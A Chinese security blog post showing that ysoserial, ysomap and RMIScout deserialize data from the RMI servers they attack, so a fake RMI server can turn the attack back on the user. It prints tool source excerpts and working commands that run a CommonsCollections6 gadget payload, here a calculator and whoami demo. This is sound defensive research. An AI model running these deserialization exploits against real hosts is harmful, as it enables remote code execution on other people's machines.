长亭百川云 - 文章详情

反序列化小子捕获器-反制ysoserial

赛博回忆录

63

2024-07-13

前言

这个反制的场景非常容易想到,因为很多反序列化的漏洞也都有利用到这个流程,只不过现在将其用到了反制上而已。当然这个估计也有很多师傅写过,也不算是个秘密,不过既然白白白师傅最近在星球提到了这个,那就发出来给JB小子们提个醒避避雷吧。

毕竟,都快改名叫反制回忆录了(大雾

正文

之前分析RMI的时候,发现RMI的调用过程里在客户端和服务端都会触发反序列化,当然具体很复杂,简略了下大概是这么个流程:

随着JDK版本更新,服务端的反序列化点基本都被修复了,但客户端的反序列化点并没有修复。也就是说如果调用了JDK原生的RMI客户端相关调用,连接恶意服务端时就会在客户端触发反序列化,此时如果客户端存在有漏洞的依赖库就会导致代码执行。

这个场景好像很难实现,因为现在RMI很少见。但对安全人员来说,在做渗透测试时,如果发现目标开放了对应的端口,一般还是会打一下试试。流程变成这样:

如果一个安全工具存在上面的问题,在攻击一个假冒的RMI服务时就会导致自身被反打。这个过程简单来说就是这样:

  1.  搭建一个恶意rmi服务器,监听1099端口,很容易就被扫除rmi反序列化漏洞

  2. jb小子见状立刻敲起命令使用ysoserial打rmi的反序列化payload

  3. 恶意rmi服务器对其注入客户端反序列化代码

  4. jb小子反变肉鸡上线了

那么看下常见的攻击RMI的安全工具有没有这种问题。

ysoserial

上来先看看Java安全神器ysoserial里和RMI有关的exp。yso里面大部分都是本地生成payload,但也有一些打远程服务的,比如RMIRegistryExploit

 public static void main(final String[] args) throws Exception {  
  final String host = args[0];  
  final int port = Integer.parseInt(args[1]);  
  final String command = args[3];  
  Registry registry = LocateRegistry.getRegistry(host, port);  
  final String className = CommonsCollections1.class.getPackage().getName() +  "." + args[2];  
  final Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);  
  
  // test RMI registry connection and upgrade to SSL connection on fail  
  try {  
   registry.list();  
  } catch(ConnectIOException ex) {  
   registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());  
  }  
  
  // ensure payload doesn't detonate during construction or deserialization  
  exploit(registry, payloadClass, command);  
 }  
  
 public static void exploit(final Registry registry,  
   final Class<? extends ObjectPayload> payloadClass,  
   final String command) throws Exception {  
  new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {  
   ObjectPayload payloadObj = payloadClass.newInstance();  
            Object payload = payloadObj.getObject(command);  
   String name = "pwned" + System.nanoTime();  
   Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);  
   try {  
    registry.bind(name, remote);  
   } catch (Throwable e) {  
    e.printStackTrace();  
   }  
   Utils.releasePayload(payloadObj, payload);  
   return null;  
  }});  
 }

看到了registry.list和registry.bind,这两处就是调用的原生的RegistryImpl_Stub,会触发UnicastRef#invoke->StreamRemoteCall#executeCall导致反序列化,这里就有反序列化点了。
调用链自然也没啥问题,毕竟ysoserial算是天底下反序列化链最多的地方了。感觉就像个弹药库把自己给炸了。
所以攻击很简单,就用JRMPListener在1099端口(RMI注册中心默认端口)起一个恶意服务端,原汤化原食了属于是:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 calc.exe  

然后客户端扮演jb小子,nmap扫完看见1099开了直接打:

java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit ip 1099 CommonsCollections6 whoami  

喜提计算器。
很奇怪的是在另一个攻击rmi的脚本ysoserial/exploit/JRMPClient.java里

/**  
 * Generic JRMP client  
 *   
 * Pretty much the same thing as {@link RMIRegistryExploit} but   
 * - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)  
 * - not deserializing anything (so you don't get yourself exploited ;))  
 *   
 * @author mbechler  
 *  
 */  

注释里特意写了not deserializing anything,说明开发者是想到过反打的问题的,但不知道为什么没有注意到另一处。

顺带一提,恶意服务器如果在实现时触发了反序列化一样是会被攻击的,只不过这种场景少了点。

ysomap

ysomap是wh1t3p1g大师傅开发的Java反序列化辅助工具,和ysoserial相比可以更细化的修改payload,但是用着比较麻烦,研究了半天也没咋用明白。
同样这个工具也提供了攻击RMI registry的功能,看一下这部分实现,在ysomap/exploits/rmi/component/Naming.java

public static Remote lookup(Registry registry, Object obj)  
            throws Exception {  
        RemoteRef ref = (RemoteRef) ReflectionHelper.getFieldValue(registry, "ref");  
        long interfaceHash = (long) ReflectionHelper.getFieldValue(registry, "interfaceHash");  
        java.rmi.server.Operation[] operations = (Operation[]) ReflectionHelper.getFieldValue(registry, "operations");  
        java.rmi.server.RemoteCall call = ref.newCall((java.rmi.server.RemoteObject) registry, operations, 2, interfaceHash);  
        try {  
            try {  
                java.io.ObjectOutput out = call.getOutputStream();  
                //反射修改enableReplace  
                ReflectionHelper.setFieldValue(out, "enableReplace", false);  
                out.writeObject(obj); // arm obj  
            } catch (java.io.IOException e) {  
                throw new java.rmi.MarshalException("error marshalling arguments", e);  
            }  
            ref.invoke(call);  
            return null;  
        } catch (RuntimeException | RemoteException | NotBoundException e) {  

重写了lookup,调用了JDK原生的ref.invoke,那么一样是有反打的问题的。
没太用明白,大概是这么用吧:

use exploit RMIRegistryExploit  
use payload RMIConnectWrappedWithProxy  
use bullet RMIConnectBullet  
set target ip:1099  
set rhost ip2  
run  

服务端一样是JRMPListener,一样打cc就行。计算器x2。

RMIScout

RMIScout也是一个攻击RMI的工具,看了下这个工具重点支持攻击服务端的方式,也就是通过爆破远程方法签名攻击服务端,portswigger也宣传过这个工具https://portswigger.net/daily-swig/rmiscout-new-hacking-tool-brute-forces-java-rmi-servers-for-vulnerabilities
在rmiscout/RMIConnector.java一样是看到了原生的registry.list

public RMIConnector(String host, int port, String remoteName, List<String> signatures, boolean allowUnsafe, boolean isActivationServer) {  
        try {  
            this.host = host;  
            this.allowUnsafe = allowUnsafe;  
            this.signatures = signatures;  
            this.isActivationServer = isActivationServer;  
            String[] regNames = null;  
            isSSL = false;  
  
            try {  
                // Attempt a standard cleartext connection  
                this.registry = LocateRegistry.getRegistry(host, port);  
                regNames = registry.list();  

这个工具的攻击实际是依赖ysoserial实现的,那么一样会被反打

java -jar rmiscout-1.4-SNAPSHOT-all.jar list ip 1099  

计算器x3

其他工具

常见的攻击RMI的还有个经典工具BaRMIe,实际上它的攻击流程也会触发反序列化,但是这个工具并不是用加载依赖的方式来生成payload的,而是直接写死的。那么没有依赖库,反序列化也很难打本地的链了。
另外metasploit也有对应的exp,完全基于ruby实现的,自然不会有Java反序列化的问题,还是msf懂安全。

参考链接

https://github.com/frohoff/ysoserial

https://github.com/wh1t3p1g/ysomap 

https://github.com/BishopFox/rmiscout

https://github.com/NickstaDB/BaRMIe

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2